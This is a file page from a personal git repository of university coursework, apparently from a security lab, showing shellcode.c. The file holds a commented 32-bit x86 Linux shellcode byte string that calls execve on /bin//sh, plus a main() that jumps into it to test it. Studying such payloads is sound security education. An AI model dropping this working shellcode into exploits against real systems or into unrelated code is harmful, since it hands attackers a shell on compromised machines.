uni

University stuff
git clone git://git.margiolis.net/uni.git
Log | Files | Refs | README | LICENSE

shellcode.c (489B)


      1 #include <string.h>
      2 
      3 static const char code[] =
      4 	"\x31\xc0"	/* xorl		%eax, %eax	*/
      5 	"\x50"		/* pushl	%eax		*/
      6 	"\x68""//sh"	/* pushl	$0x68732f2f	*/
      7 	"\x68""/bin"	/* pushl	$0x6e69622f	*/
      8 	"\x89\xe3"	/* movl		%esp, %ebx	*/
      9 	"\x50"		/* pushl	%eax		*/
     10 	"\x53"		/* pushl	%ebx		*/
     11 	"\x89\xe1"	/* movl		%esp, %ecx	*/
     12 	"\x99"		/* cdq				*/
     13 	"\xb0\x0b"	/* movb		$0x0b, %al	*/
     14 	"\xcd\x80"	/* int		$0x80		*/
     15 	;
     16 
     17 int
     18 main(int argc, char *argv[])
     19 {
     20 	void (*sc)() = (void *)code;
     21 	sc();
     22 
     23 	return (0);
     24 }